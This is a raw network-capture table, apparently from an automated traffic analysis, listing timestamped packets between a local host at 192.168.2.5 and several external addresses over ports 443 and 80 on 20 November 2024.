Nov 20, 2024 00:19:25.531502962 CET	62079	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:25.531510115 CET	443	62079	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:25.547972918 CET	62098	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:25.547983885 CET	443	62098	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:25.548099995 CET	62098	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:25.548763990 CET	62098	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:25.548775911 CET	443	62098	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:25.612433910 CET	443	62083	23.219.82.25	192.168.2.5
Nov 20, 2024 00:19:25.612900972 CET	62083	443	192.168.2.5	23.219.82.25
Nov 20, 2024 00:19:25.612926006 CET	443	62083	23.219.82.25	192.168.2.5
Nov 20, 2024 00:19:25.613966942 CET	443	62083	23.219.82.25	192.168.2.5
Nov 20, 2024 00:19:25.614027977 CET	62083	443	192.168.2.5	23.219.82.25
Nov 20, 2024 00:19:25.615215063 CET	62083	443	192.168.2.5	23.219.82.25
Nov 20, 2024 00:19:25.615287066 CET	443	62083	23.219.82.25	192.168.2.5
Nov 20, 2024 00:19:25.618936062 CET	443	62082	23.219.82.25	192.168.2.5
Nov 20, 2024 00:19:25.619529963 CET	62082	443	192.168.2.5	23.219.82.25
Nov 20, 2024 00:19:25.619544983 CET	443	62082	23.219.82.25	192.168.2.5
Nov 20, 2024 00:19:25.623287916 CET	443	62082	23.219.82.25	192.168.2.5
Nov 20, 2024 00:19:25.623364925 CET	62082	443	192.168.2.5	23.219.82.25
Nov 20, 2024 00:19:25.623716116 CET	62082	443	192.168.2.5	23.219.82.25
Nov 20, 2024 00:19:25.623899937 CET	443	62082	23.219.82.25	192.168.2.5
Nov 20, 2024 00:19:25.666208029 CET	62082	443	192.168.2.5	23.219.82.25
Nov 20, 2024 00:19:25.666220903 CET	443	62082	23.219.82.25	192.168.2.5
Nov 20, 2024 00:19:25.709355116 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.709420919 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.709476948 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.709491014 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.709506035 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.709521055 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.709528923 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.709563017 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.709635973 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.709650993 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.709667921 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.709672928 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.709682941 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.709688902 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.709706068 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.709714890 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.709721088 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.709723949 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.709731102 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.709738016 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.709754944 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.709779978 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.709784985 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.709800005 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.709816933 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.709820032 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.709830046 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.709841013 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.709845066 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.709866047 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.709872007 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.709882975 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.709892988 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.709904909 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.709908009 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.709922075 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.709923029 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.709938049 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.709939957 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.709952116 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.709955931 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.709969044 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.709981918 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.709984064 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.709996939 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.710027933 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.710031033 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.710042953 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.710058928 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.710062981 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.710088968 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.710102081 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.710105896 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.710117102 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.710143089 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.710149050 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.710158110 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.710163116 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.710176945 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.710182905 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.710199118 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.710203886 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.710215092 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.710218906 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.710233927 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.710252047 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.710258007 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.710258007 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.710268021 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.710275888 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.710289001 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.710304976 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.710305929 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.710325003 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.710344076 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.710346937 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.710364103 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.710383892 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.710423946 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.710438967 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.710453987 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.710468054 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.710474014 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.710483074 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.710503101 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.710516930 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.710517883 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.710534096 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.710537910 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.710556984 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.710558891 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.710576057 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.710591078 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.710593939 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.710613012 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.710628986 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.710644960 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.710648060 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.710671902 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.710678101 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.710691929 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.710695982 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.710705996 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.710711956 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.710725069 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.710727930 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.710740089 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.710743904 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.710756063 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.710762024 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.710777044 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.710792065 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.710939884 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.710954905 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.710968971 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.710978031 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.710994959 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.710997105 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.711010933 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.711011887 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.711028099 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.711031914 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.711042881 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.711049080 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.711066008 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.711082935 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.711100101 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.711116076 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.711150885 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.711150885 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.711164951 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.711179972 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.711184025 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.711205959 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.711210012 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.711227894 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.711235046 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.711247921 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.711273909 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.711283922 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.711299896 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.711304903 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.711322069 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.711325884 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.711338043 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.711340904 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.711354971 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.711357117 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.711371899 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.711371899 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.711390018 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.711395979 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.711405039 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.711410999 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.711443901 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.711489916 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.711502075 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.711517096 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.711524963 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.711540937 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.711550951 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.711554050 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.711570024 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.711575985 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.711585045 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.711600065 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.711601973 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.711616039 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.711627007 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.711630106 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.711647034 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.711652040 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.711675882 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.711699009 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.711721897 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.711736917 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.711751938 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.711766005 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.711767912 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.711787939 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.711790085 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.711805105 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.711812973 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.711821079 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.711843014 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.711844921 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.711865902 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.711869001 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.711884022 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.711890936 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.711899042 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.711915016 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.711930037 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.711930037 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.711946964 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.711962938 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.711978912 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.711981058 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.711997032 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.712023020 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.712042093 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.712059975 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.712075949 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.712093115 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.712114096 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.712130070 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.712136984 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.712145090 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.712160110 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.712171078 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.712201118 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.712215900 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.712230921 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.712246895 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.712250948 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.712263107 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.712275982 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.712291956 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.712311029 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.712343931 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.712347984 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.712363958 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.712404966 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.712418079 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.712431908 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.712447882 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.712462902 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.712472916 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.712486982 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.712522030 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.726332903 CET	443	62084	204.79.197.219	192.168.2.5
Nov 20, 2024 00:19:25.726758003 CET	443	62086	23.57.90.171	192.168.2.5
Nov 20, 2024 00:19:25.728770018 CET	62086	443	192.168.2.5	23.57.90.171
Nov 20, 2024 00:19:25.728785038 CET	443	62086	23.57.90.171	192.168.2.5
Nov 20, 2024 00:19:25.728938103 CET	62084	443	192.168.2.5	204.79.197.219
Nov 20, 2024 00:19:25.728945017 CET	443	62084	204.79.197.219	192.168.2.5
Nov 20, 2024 00:19:25.729835033 CET	443	62086	23.57.90.171	192.168.2.5
Nov 20, 2024 00:19:25.729897976 CET	62086	443	192.168.2.5	23.57.90.171
Nov 20, 2024 00:19:25.730413914 CET	443	62084	204.79.197.219	192.168.2.5
Nov 20, 2024 00:19:25.730462074 CET	62084	443	192.168.2.5	204.79.197.219
Nov 20, 2024 00:19:25.731812954 CET	62086	443	192.168.2.5	23.57.90.171
Nov 20, 2024 00:19:25.731898069 CET	443	62086	23.57.90.171	192.168.2.5
Nov 20, 2024 00:19:25.735749960 CET	443	62085	204.79.197.219	192.168.2.5
Nov 20, 2024 00:19:25.738557100 CET	62085	443	192.168.2.5	204.79.197.219
Nov 20, 2024 00:19:25.738579035 CET	443	62085	204.79.197.219	192.168.2.5
Nov 20, 2024 00:19:25.739768982 CET	62084	443	192.168.2.5	204.79.197.219
Nov 20, 2024 00:19:25.739860058 CET	443	62084	204.79.197.219	192.168.2.5
Nov 20, 2024 00:19:25.740226030 CET	443	62085	204.79.197.219	192.168.2.5
Nov 20, 2024 00:19:25.740294933 CET	62085	443	192.168.2.5	204.79.197.219
Nov 20, 2024 00:19:25.740539074 CET	62085	443	192.168.2.5	204.79.197.219
Nov 20, 2024 00:19:25.740647078 CET	443	62085	204.79.197.219	192.168.2.5
Nov 20, 2024 00:19:25.742557049 CET	443	62081	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:25.743129015 CET	62081	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:25.743135929 CET	443	62081	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:25.743587971 CET	443	62081	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:25.744144917 CET	62081	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:25.744199038 CET	443	62081	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:25.744379044 CET	62081	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:25.771054029 CET	62082	443	192.168.2.5	23.219.82.25
Nov 20, 2024 00:19:25.787319899 CET	443	62081	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:25.803754091 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.803770065 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.803785086 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.803806067 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.803832054 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.803834915 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.803848982 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.803864956 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.803875923 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.803883076 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.803898096 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.803905964 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.803913116 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.803926945 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.803941965 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.803950071 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.803965092 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.803971052 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.803981066 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.804004908 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.804033995 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.804100990 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.804116011 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.804138899 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.804157972 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.804349899 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.804368973 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.804385900 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.804399967 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.804409027 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.804423094 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.804436922 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.804444075 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.804452896 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.804464102 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.804469109 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.804482937 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.804493904 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.804498911 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.804513931 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.804527044 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.804528952 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.804553032 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.804572105 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.804574013 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.804588079 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.804606915 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.804625034 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.804634094 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.804649115 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.804650068 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.804673910 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.804682970 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.804688931 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.804703951 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.804711103 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.804719925 CET	80	49762	185.215.113.206	192.168.2.5
